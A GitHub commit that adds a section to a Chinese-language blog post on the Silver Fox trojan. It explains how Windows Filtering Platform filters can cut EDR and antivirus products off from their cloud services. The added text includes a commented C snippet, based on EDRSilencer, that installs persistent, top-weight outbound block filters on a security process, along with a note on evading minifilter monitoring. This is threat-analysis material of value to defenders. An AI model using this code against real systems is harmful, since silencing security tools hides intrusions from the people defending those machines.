Skip to content

Commit 1406cb3

Browse files
add WFP filter configuration for blocking EDR communication
1 parent 83d3d73 commit 1406cb3

1 file changed

Lines changed: 194 additions & 0 deletions

File tree

_posts/2025-12-15-silver-fox-poc-2025-zh-cn.md

Lines changed: 194 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -54,3 +54,197 @@ pythonmemorymodule.MemoryModule(data=data)
5454

5555
## 利用 WFP 断网杀软/EDR
5656

57+
**Windows Filtering Platform (WFP)** 是 Windows Vista 及更高版本引入的一套网络流量过滤架构。它为防火墙、入侵检测系统(IDS)、杀毒软件等安全产品提供了统一的底层 API,用于检查和修改网络数据包。
58+
59+
虽然许多安全产品通过 WFP Callout 驱动来实现网络监控,但恶意软件同样可以利用这一机制,注册恶意的 WFP 过滤器来隐藏自身流量或阻断安全软件的通信。
60+
61+
### 传统方法 vs. WFP
62+
63+
在传统攻防场景中,操控网络流量通常需要内核级访问权限(例如使用 NDIS 驱动或 TDI 过滤)。这种方式门槛较高,攻击者必须面对以下挑战:
64+
65+
* 编写并获取合法的内核驱动签名。
66+
* 绕过驱动签名强制执行(Driver Signature Enforcement)。
67+
* 对抗 PatchGuard (KPP) 等内核保护机制。
68+
69+
相比之下,WFP 的用户态引擎 —— **基础过滤引擎 (BFE, Base Filtering Engine)** —— 允许任何拥有管理员权限的进程通过用户态 API 添加过滤器,而**无需编写或加载内核驱动**。攻击者只需调用 `fwpuclnt.dll` 中的几个函数,即可实现对网络层的控制。
70+
71+
### EDRSilencer 与银狐的实现
72+
73+
开源项目 [EDRSilencer](https://github.com/netero1010/EDRSilencer) 正是基于这一原理诞生的。该工具于 2023 年末发布,旨在针对 EDR/AV 进程设置 WFP 过滤器,从而屏蔽其与云端的通信,使其无法上报威胁信息。银狐木马在 2025 年的变种中也采用了完全相同的手段。
74+
75+
为了规避检测,EDRSilencer 的作者自己实现了 `FwpmGetAppIdFromFileName0` 函数,避免了直接调用 `CreateFileW`,从而成功绕过了 Minifilter 的监控。
76+
77+
以下是基于 EDRSilencer 核心逻辑的代码片段,展示了如何配置 WFP 过滤器以阻断特定进程的流量:
78+
79+
```c
80+
// ==================== WFP 过滤器配置 ====================
81+
// 参考: https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter0
82+
83+
// 设置过滤器显示名称(用于管理界面和 netsh wfp show filters 命令显示)
84+
filter.displayData.name = filterName;
85+
86+
// -------------------- 过滤器标志 --------------------
87+
// FWPM_FILTER_FLAG_PERSISTENT: 持久化过滤器
88+
// 特性:
89+
// - 过滤器信息存储在注册表 HKLM\SYSTEM\CurrentControlSet\Services\BFE\Parameters\Policy 中
90+
// - BFE (Base Filtering Engine) 服务启动时自动加载
91+
// - 系统重启后依然生效,直到被显式删除 (FwpmFilterDeleteById0)
92+
// - 不能与 FWPM_FILTER_FLAG_BOOTTIME 同时使用
93+
// 对比:
94+
// - 不设置此标志 = 静态过滤器,BFE 停止或系统关机后消失
95+
// - 动态会话过滤器 = 会话断开后自动删除
96+
filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
97+
98+
// -------------------- 过滤层 (Layer) --------------------
99+
// FWPM_LAYER_ALE_AUTH_CONNECT_V4: ALE (Application Layer Enforcement) 出站连接授权层 (IPv4)
100+
// 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/ale-layers
101+
//
102+
// 触发时机:
103+
// - TCP: connect() 系统调用时
104+
// - UDP: 向唯一远程地址/端口发送的第一个数据包
105+
// - ICMP: 第一个出站非错误 ICMP 消息
106+
//
107+
// 为什么选择 ALE 层而非 Transport 层:
108+
// - ALE 层是有状态的 (stateful),每个连接只评估一次
109+
// - Transport 层是无状态的,每个数据包都会评估(性能开销大)
110+
// - 对于阻断 EDR 的 "首次出站连接" 场景,ALE 层足够且高效
111+
filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
112+
113+
// -------------------- 过滤动作 --------------------
114+
// FWP_ACTION_BLOCK: 阻断匹配的网络流量
115+
// 其他可选值:
116+
// - FWP_ACTION_PERMIT: 允许流量
117+
// - FWP_ACTION_CALLOUT_TERMINATING: 调用 callout 驱动处理并终止
118+
// - FWP_ACTION_CALLOUT_INSPECTION: 调用 callout 驱动检查但不终止
119+
filter.action.type = FWP_ACTION_BLOCK;
120+
121+
// -------------------- 过滤器权重 (Weight / Priority) --------------------
122+
// 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/filter-arbitration
123+
//
124+
// 权重决定过滤器的优先级,值越大优先级越高
125+
// 0xFFFFFFFFFFFFFFFF (UINT64_MAX) = 最高可能权重
126+
//
127+
// 为什么设置最大权重:
128+
// - 确保此过滤器在同一 sublayer 中先于其他过滤器被评估
129+
// - EDR 产品自己的 WFP 过滤器可能设置了 PERMIT 规则
130+
// - 使用最高权重可以"抢占"优先处理权,覆盖 EDR 的放行规则
131+
//
132+
// 权重类型说明:
133+
// - FWP_UINT64: 显式指定 64 位权重值
134+
// - FWP_EMPTY: 由 BFE 自动分配权重 (auto-weight)
135+
// - FWP_UINT8: 基于范围的自动权重 (0-15)
136+
UINT64 weightValue = 0xFFFFFFFFFFFFFFFF;
137+
filter.weight.type = FWP_UINT64;
138+
filter.weight.uint64 = &weightValue; // 注意: 传递的是指针
139+
140+
// ==================== 过滤条件配置 ====================
141+
// 参考: https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter_condition0
142+
143+
// -------------------- 条件字段键 --------------------
144+
// FWPM_CONDITION_ALE_APP_ID: 基于应用程序标识符进行匹配
145+
// App ID 是可执行文件的 NT 设备路径,例如:
146+
// \device\harddiskvolume1\windows\system32\svchost.exe
147+
//
148+
// 其他常用条件字段:
149+
// - FWPM_CONDITION_IP_REMOTE_ADDRESS: 远程 IP 地址
150+
// - FWPM_CONDITION_IP_REMOTE_PORT: 远程端口
151+
// - FWPM_CONDITION_IP_PROTOCOL: IP 协议 (TCP/UDP/ICMP)
152+
// - FWPM_CONDITION_ALE_USER_ID: 发起连接的用户 SID
153+
cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
154+
155+
// -------------------- 匹配类型 --------------------
156+
// FWP_MATCH_EQUAL: 精确匹配
157+
// 其他匹配类型:
158+
// - FWP_MATCH_GREATER / FWP_MATCH_LESS: 数值比较
159+
// - FWP_MATCH_RANGE: 范围匹配 (如端口范围)
160+
// - FWP_MATCH_PREFIX: 前缀匹配 (如子网)
161+
// - FWP_MATCH_NOT_EQUAL: 不等于
162+
cond.matchType = FWP_MATCH_EQUAL;
163+
164+
// -------------------- 条件值 --------------------
165+
// FWP_BYTE_BLOB_TYPE: 字节块类型,用于存储可变长度数据
166+
// App ID 是一个 FWP_BYTE_BLOB 结构:
167+
// - size: 数据大小
168+
// - data: 指向 NT 设备路径的 Unicode 字符串
169+
//
170+
// appId 通常由 FwpmGetAppIdFromFileName0() 获取
171+
// EDRSilencer 自己实现了这个函数以绕过 EDR 的 minifilter 保护
172+
cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
173+
cond.conditionValue.byteBlob = appId;
174+
175+
// 将条件数组关联到过滤器
176+
// 多个条件之间是 AND 关系(所有条件都满足时才触发动作)
177+
filter.filterCondition = &cond;
178+
filter.numFilterConditions = 1; // 只有一个条件: 匹配目标进程
179+
180+
// ==================== Provider (提供者) 配置 ====================
181+
// 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/object-management
182+
//
183+
// Provider 是 WFP 对象的逻辑分组机制,用于:
184+
// - 标识过滤器的创建者/所有者
185+
// - 管理界面中分类显示
186+
// - 便于批量查询和删除同一来源的过滤器
187+
//
188+
// 检查是否已存在同名 Provider,避免重复创建
189+
if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
190+
// 已存在,复用现有 Provider
191+
filter.providerKey = &providerGuid;
192+
} else {
193+
// 不存在,创建新 Provider
194+
provider.displayData.name = providerName;
195+
provider.displayData.description = providerDescription;
196+
197+
// FWPM_PROVIDER_FLAG_PERSISTENT: Provider 也设为持久化
198+
// 确保系统重启后 Provider 信息依然存在
199+
provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
200+
201+
result = FwpmProviderAdd0(hEngine, &provider, NULL);
202+
if (result != ERROR_SUCCESS) {
203+
printf("[-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
204+
} else {
205+
// 创建成功后获取其 GUID 并关联到过滤器
206+
if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
207+
filter.providerKey = &providerGuid;
208+
}
209+
}
210+
}
211+
212+
// ==================== 添加过滤器到 IPv4 层 ====================
213+
// FwpmFilterAdd0 参数:
214+
// - hEngine: WFP 引擎句柄 (由 FwpmEngineOpen0 获取)
215+
// - &filter: 过滤器配置结构
216+
// - NULL: 安全描述符 (NULL = 使用默认)
217+
// - &filterId: 输出参数,返回新创建过滤器的 ID (用于后续删除)
218+
result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
219+
if (result == ERROR_SUCCESS) {
220+
printf("Added WFP filter for \"%s\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId);
221+
} else {
222+
// 常见错误码:
223+
// - FWP_E_ALREADY_EXISTS (0x80320009): 过滤器已存在
224+
// - FWP_E_INCOMPATIBLE_TXN: 在只读事务中调用
225+
// - ERROR_ACCESS_DENIED: 权限不足
226+
printf("[-] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result);
227+
}
228+
229+
// ==================== 添加过滤器到 IPv6 层 ====================
230+
// 现代网络环境中 IPv6 流量越来越常见
231+
// EDR 可能通过 IPv6 地址与云端通信,因此需要同时阻断
232+
// 只需修改 layerKey,其他配置复用
233+
filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
234+
result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
235+
if (result == ERROR_SUCCESS) {
236+
printf("Added WFP filter for \"%s\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId);
237+
} else {
238+
printf("[-] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result);
239+
}
240+
241+
// ==================== 资源清理 ====================
242+
// 释放 App ID 占用的内存 (FwpmFreeMemory0)
243+
FreeAppId(appId);
244+
245+
// 关闭 WFP 引擎句柄
246+
// 注意: 由于过滤器设置了 PERSISTENT 标志,关闭句柄不会删除过滤器
247+
FwpmEngineClose0(hEngine);
248+
return;
249+
}
250+
```

0 commit comments

Comments
 (0)